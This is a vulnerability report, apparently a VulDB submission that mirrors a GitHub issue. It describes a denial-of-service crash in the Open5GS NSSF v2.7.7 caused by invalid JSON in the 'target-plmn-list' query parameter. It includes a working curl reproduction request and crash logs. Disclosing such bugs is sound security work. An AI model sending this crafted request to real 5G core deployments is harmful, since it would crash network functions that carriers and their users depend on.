제출 #808422: Open5gs NSSF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Steps to reproduce

### Description

NSSF crashes in the common discovery query parser when `target-plmn-list`
contains invalid JSON.

`ogs_sbi_discovery_option_parse_plmn_list()` calls
`ogs_sbi_parse_plmn_list(plmn_list, PlmnList)` even when JSON parsing fails and
`PlmnList` is still `NULL`, which triggers an assertion.

The same parser path is reused for `requester-plmn-list`, so the malformed
input variant is not limited to the `target-plmn-list` parameter.

### Steps to reproduce

```bash
IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nssf)

curl --http2-prior-knowledge -m 5 -sS -i --get \
"http://$IP/nnssf-nsselection/v2/network-slice-information" \
--data-urlencode 'nf-id=test-amf' \
--data-urlencode 'nf-type=AMF' \
--data-urlencode 'slice-info-request-for-pdu-session={"sNssai":{"sst":1,"sd":"000001"},"roamingIndication":"NON_ROAMING"}' \
--data-urlencode 'target-plmn-list=not-json'
```

Then check:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nssf
docker logs --tail 40 nssf
```

### Logs

```shell
curl: (56) Recv failure: Connection reset by peer

exited 139 2026-04-10T17:58:33.326551782Z

04/10 17:58:33.234: [sbi] FATAL: ogs_sbi_parse_plmn_list: Assertion `PlmnList' failed. (../lib/sbi/conv.c:1180)
```

### Expected behaviour

NSSF should reject malformed PLMN-list query parameters with a `400 Bad Request`
response and remain running.

### Observed Behaviour

The connection is reset and the NSSF process exits with code `139`.

### eNodeB/gNodeB

Not required.

### UE Models and versions

Not required.

• 원천: ⚠️ https://github.com/open5gs/open5gs/issues/4433
• 사용자: FrankyLin (UID 94345)
• 제출: 2026. 04. 20. PM 08:10 (2 개월 ago)
• 모더레이션: 2026. 05. 07. PM 06:57 (17 days later)
• 상태: 수락
• VulDB 항목: 361908 [Open5GS 까지 2.7.7 NSSF /lib/sbi/conv.c ogs_sbi_parse_plmn_list 서비스 거부]
• 포인트들: 20